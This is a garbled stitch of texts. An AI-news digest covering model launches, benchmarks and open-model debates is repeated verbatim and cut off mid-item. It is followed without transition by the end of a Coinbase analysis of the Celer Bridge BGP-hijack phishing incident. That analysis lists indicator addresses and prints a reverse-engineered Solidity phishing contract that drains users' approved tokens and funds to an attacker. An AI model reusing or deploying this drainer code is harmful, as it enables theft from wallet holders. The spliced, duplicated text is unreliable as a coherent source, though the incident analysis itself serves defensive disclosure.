The release landed amid intense competition with GPT-5.5, upcoming GPT-5.6, and Gemini 3.5 Pro; several posters argued Anthropic has opened a temporary lead in coding/agentic work @kimmonismus , @teortaxesTex It also lands in a broader argument about the open vs closed model gap ; one linked Epoch-style framing said open-weight models lag closed frontier models by about 4 months on average @dl_weekly Community reaction suggests the launch may be remembered not only for “big model smell” and benchmark jumps, but for normalizing selective capability release : public access to the frontier model, but with domain-specific hidden limits That policy line is likely to influence future debates around: safety vs openness fair access to frontier research tools antitrust and platform power enterprise trust in API providers whether open models become the default for sensitive technical work even when they trail on raw capability Models, benchmarks, and evals New benchmark project Agents’ Last Exam (ALE) launched to test labor-market-aligned agent performance; top agents score only 2.6% on the hardest tier , across 1,500+ tasks , 55 occupations , with contributions from 300+ experts across 100+ institutions @YiyouSun , @SnorkelAI , @dawnsongtweets Cohere released North Mini Code , its first open-source coding model: 30B total / 3B active MoE , 256K context , 64K max generation , Apache 2.0, optimized for agentic workflows @cohere , @JayAlammar , @vllm_project Google announced Gemini 3.5 Flash Live Translate , real-time speech-to-speech translation in 70+ languages , available in Gemini API, AI Studio, Google Translate, and coming to Meet @OfficialLoganK New benchmark iOSWorld evaluates personally intelligent phone agents across 26 custom iOS apps and 133 tasks ; strongest frontier model reaches only 52% success even with privileged access @rsalakhu Inference, training, and systems Latent Context Language Models (LCLMs) were introduced as a long-context inference method compressing context up to 16× , improving the latency/accuracy frontier over KV-cache compression @micahgoldblum , @iamleonli Microsoft Research’s Mirage stores 3D scenes as latent tokens, reporting 10.57× faster video generation and 55× lower memory use @HuggingPapers vLLM introduced vime , an RL post-training framework in the vLLM ecosystem, positioned alongside NeMo-RL, OpenRLHF, and verl @vllm_project Discussion around agent training continued with Self-Harness for self-improving scaffolds @omarsar0 and AutoForge/interleaved thinking retaining reasoning traces across turns @cwolferesearch Google/Hugging Face launched the Fast Gemma Challenge to speed up Gemma 4 E4B on a single A10G without wrecking quality @googlegemma , @osanseviero , @_lewtun Agents, tooling, and developer workflow LangChain highlighted a pattern of agent loops driven by recurring triggers in Fleet @caspar_br OpenAI added image results to web search in the Responses API @OpenAIDevs GitHub/Copilot app updates included parallel sub-sessions and a canvas UI for dynamic interfaces @tgrall , @burkeholland Hermes Desktop added Ollama support, with self-learning Python skills and messaging app integrations @ollama , @NousResearch A security-oriented counterpoint on agent execution: Temenos argues for sandboxing generated code, not the agent, using rootless gVisor while keeping auth/tools on host @abhijithneil Research, science, and formal methods Axiom announced EconLib , a Lean-based economics library; formalizing Aumann’s “agreeing to disagree” theorem surfaced a hidden countability-related assumption @TheTuringPost “Economy of Minds” proposed agent coordination through auctions and incentives rather than centralized orchestration, reporting gains such as 15.9% → 57.0% on math reasoning and 45.0% → 60.0% on financial research @TheTuringPost Mayo Clinic’s REDMOD reportedly detected pancreatic cancer on CT scans up to 3 years before diagnosis , identifying 73% of hidden cancers at a median 475 days before diagnosis @TheRundownAI Open ecosystem and infrastructure Hugging Face and Arcee announced a partnership replacing AWS S3 with HF for all Arcee models/datasets, including private ones @ClementDelangue , @MarkMcQuade Cohere kept pushing the sovereign/open angle with “ Sovereign AI for all ” @cohere Marks Saroufim proposed a Researcher Reciprocity License and moved GPU MODE datasets to it, explicitly reacting to the sense that frontier labs benefit from open research while restricting access in return @marksaroufim , @marksaroufim AI Reddit Recap /r/LocalLlama + /r/localLLM Recap 1. [9] The release landed amid intense competition with GPT-5.5, upcoming GPT-5.6, and Gemini 3.5 Pro; several posters argued Anthropic has opened a temporary lead in coding/agentic work @kimmonismus , @teortaxesTex It also lands in a broader argument about the open vs closed model gap ; one linked Epoch-style framing said open-weight models lag closed frontier models by about 4 months on average @dl_weekly Community reaction suggests the launch may be remembered not only for “big model smell” and benchmark jumps, but for normalizing selective capability release : public access to the frontier model, but with domain-specific hidden limits That policy line is likely to influence future debates around: safety vs openness fair access to frontier research tools antitrust and platform power enterprise trust in API providers whether open models become the default for sensitive technical work even when they trail on raw capability Models, benchmarks, and evals New benchmark project Agents’ Last Exam (ALE) launched to test labor-market-aligned agent performance; top agents score only 2.6% on the hardest tier , across 1,500+ tasks , 55 occupations , with contributions from 300+ experts across 100+ institutions @YiyouSun , @SnorkelAI , @dawnsongtweets Cohere released North Mini Code , its first open-source coding model: 30B total / 3B active MoE , 256K context , 64K max generation , Apache 2.0, optimized for agentic workflows @cohere , @JayAlammar , @vllm_project Google announced Gemini 3.5 Flash Live Translate , real-time speech-to-speech translation in 70+ languages , available in Gemini API, AI Studio, Google Translate, and coming to Meet @OfficialLoganK New benchmark iOSWorld evaluates personally intelligent phone agents across 26 custom iOS apps and 133 tasks ; strongest frontier model reaches only 52% success even with privileged access @rsalakhu Inference, training, and systems Latent Context Language Models (LCLMs) were introduced as a long-context inference method compressing context up to 16× , improving the latency/accuracy frontier over KV-cache compression @micahgoldblum , @iamleonli Microsoft Research’s Mirage stores 3D scenes as latent tokens, reporting 10.57× faster video generation and 55× lower memory use @HuggingPapers vLLM introduced vime , an RL post-training framework in the vLLM ecosystem, positioned alongside NeMo-RL, OpenRLHF, and verl @vllm_project Discussion around agent training continued with Self-Harness for self-improving scaffolds @omarsar0 and AutoForge/interleaved thinking retaining reasoning traces across turns @cwolferesearch Google/Hugging Face launched the Fast Gemma Challenge to speed up Gemma 4 E4B on a single A10G without wrecking quality @googlegemma , @osanseviero , @_lewtun Agents, tooling, and developer workflow LangChain highlighted a pattern of agent loops driven by recurring triggers in Fleet @caspar_br OpenAI added image results to web search in the Responses API @OpenAIDevs GitHub/Copilot app updates included parallel sub-sessions and a canvas UI for dynamic interfaces @tgrall , @burkeholland Hermes Desktop added Ollama support, with self-learning Python skills and messaging app integrations @ollama , @NousResearch A security-oriented counterpoint on agent execution: Temenos argues for sandboxing generated code, not the agent, using rootless gVisor while keeping auth/tools on host @abhijithneil Research, science, and formal methods Axiom announced EconLib , a Lean-based economics library; formalizing Aumann’s “agreeing to disagree” theorem surfaced a hidden countability-related assumption @TheTuringPost “Economy of Minds” proposed agent coordination through auctions and incentives rather than centralized orchestration, reporting gains such as 15.9% → 57.0% on math reasoning and 45.0% → 60.0% on financial research @TheTuringPost Mayo Clinic’s REDMOD reportedly detected pancreatic cancer on CT scans up to 3 years before diagnosis , identifying 73% of hidden cancers at a median 475 days before diagnosis @TheRundownAI Open ecosystem and infrastructure Hugging Face and Arcee announced a partnership replacing AWS S3 with HF for all Arcee models/datasets, including private ones @ClementDelangue , @MarkMcQuade Cohere kept pushing the sovereign/open angle with “ Sovereign AI for all ” @cohere Marks Saroufim proposed a Researcher Reciprocity License and moved GPU MODE datasets to it, explicitly reacting to the sense that frontier labs benefit from open research while restricting access in return @marksaroufim , @marksaroufim AI Reddit Recap /r/LocalLlama + /r/localLLM Recap 1. [9] Indicators Ethereum: 0xb0f5fa0cd2726844526e3f70e76f54c6d91530dd Ethereum: 0x2A2aA50450811Ae589847D670cB913dF763318E8 Ethereum: 0x66140a95d189846e74243a75b14fe6128dbbfcd9 BSC: 0x5895da888Cbf3656D8f51E5Df9FD26E8E131e7CF Fantom: 0x458f4d7ef4fb1a0e56b36bf7a403df830cfdf972 Polygon: 0x9c8b72f0d43ba23b96b878f1c1f75edc2beec9f9 Avalanche: 0x9c8B72f0D43BA23B96B878F1c1F75EdC2Beec9F9 Arbitrum: 0x9c8B72f0D43BA23B96B878F1c1F75EdC2Beec9F9 Astar: 0x9c8B72f0D43BA23B96B878F1c1F75EdC2Beec9F9 Aurora: 0x9c8b72f0d43ba23b96b878f1c1f75edc2beec9f9 Optimism: 0x9c8b72f0d43ba23b96b878f1c1f75edc2beec9f9 Metis: 0x9c8B72f0D43BA23B96B878F1c1F75EdC2Beec9F9 AS: 209243 (AS number observed in the path on routing announcements and as a maintainer for the prefix in IRR changes) Appendix A: Phishing smart contracts Ethereum 0x2a2aa50450811ae589847d670cb913df763318e8 BSC 0x9c8b72f0d43ba23b96b878f1c1f75edc2beec9f9 0x11f8c7cdf73b71cd189bb2a7f285dabfe8957f9c 0xc8dd7eadef50a659c480c6fa18863e354e12fc4f 0x5895da888cbf3656d8f51e5df9fd26e8e131e7cf Polygon 0x9c8b72f0d43ba23b96b878f1c1f75edc2beec9f9 Fantom 0x9c8b72f0d43ba23b96b878f1c1f75edc2beec9f9 0x458f4d7ef4fb1a0e56b36bf7a403df830cfdf972 Arbitrum 0x9c8b72f0d43ba23b96b878f1c1f75edc2beec9f9 Avalanche 0x9c8b72f0d43ba23b96b878f1c1f75edc2beec9f9 Astar 0x9c8B72f0D43BA23B96B878F1c1F75EdC2Beec9F9 Aurora 0x9c8b72f0d43ba23b96b878f1c1f75edc2beec9f9 Metis ​ 0x9c8b72f0d43ba23b96b878f1c1f75edc2beec9f9 Appendix B: Phishing smart contract source code (RE) The following reverse engineered contract is based on the bytecode at 0x2a2a…18e8 pragma solidity ^0.8.0; import ./IERC20.sol ; contract CelerPhish { address attacker; address celerBridge; constructor(address _celerBridge) public { attacker = msg.sender; celerBridge = _celerBridge; } function sendNative(address _receiver, uint256 _amount, uint64 _dstChainId, uint64 _nonce, uint32 _maxSlippage) public payable { require(msg.data.length - 4 = 160); if (msg.value 0) { (bool success, ) = attacker.call{value: msg.value}( ); require(success); } } function addLiquidity(address _token, uint256 _amount) public { steal(msg.sender, _token); } function addNativeLiquidity(uint256 _amount) public payable { require(msg.data.length - 4 = 32); if (msg.value 0) { (bool success, ) = attacker.call{value: msg.value}( ); require(success); } } // Steals approved funds, originally 0x9c307de6 4byte function stealApprovedTokens(address token, address recipient) public { require(msg.data.length - 4 = 64); steal(recipient, token); } function send(address _reciever, address _token, uint256 _amount, uint64 _dstChainId, uint64 _nonce, uint32 _maxSlippage) public { require(msg.data.length - 4 = 192); steal(msg.sender, _token); } // Steals assets function steal(address recipient, address token) private { uint256 balance = IERC20(token).balanceOf(recipient); uint256 allowance = IERC20(token).allowance(recipient, address(this)); if (balance 0 allowance 0) { if (balance = allowance) { bool success = IERC20(token).transferFrom(recipient, attacker, allowance); require(success); } else { bool success = IERC20(token).transferFrom(recipient, attacker, balance); require(success); } } } // Forward other calls to the Celer Bridge // EIP-1822: https://eips.ethereum.org/EIPS/eip-1822 fallback() external payable { assembly { // solium-disable-line let contractLogic := sload(1) calldatacopy(0x0, 0x0, calldatasize()) let success := delegatecall(sub(gas(), 10000), contractLogic, 0x0, calldatasize(), 0, 0) let retSz := returndatasize() returndatacopy(0, 0, retSz) switch success case 0 { revert(0, retSz) } default { return(0, retSz) } } } } References https://twitter.com/CelerNetwork/status/1560123830844411904 https://slowmist.medium.com/truth-behind-the-celer-network-cbridge-cross-chain-bridge-incident-bgp-hijacking-52556227e940 https://mailman.nanog.org/pipermail/nanog/2022-August/220320.html https://stat.ripe.net/app/use-cases/prefix/bgplay/S1_44.235.216.0%252F24_bgplay_TMAST1660694400000ET1660867200000 Celer Bridge incident analysis was originally published in The Coinbase Blog on Medium, where people are continuing the conversation by highlighting and responding to this story. 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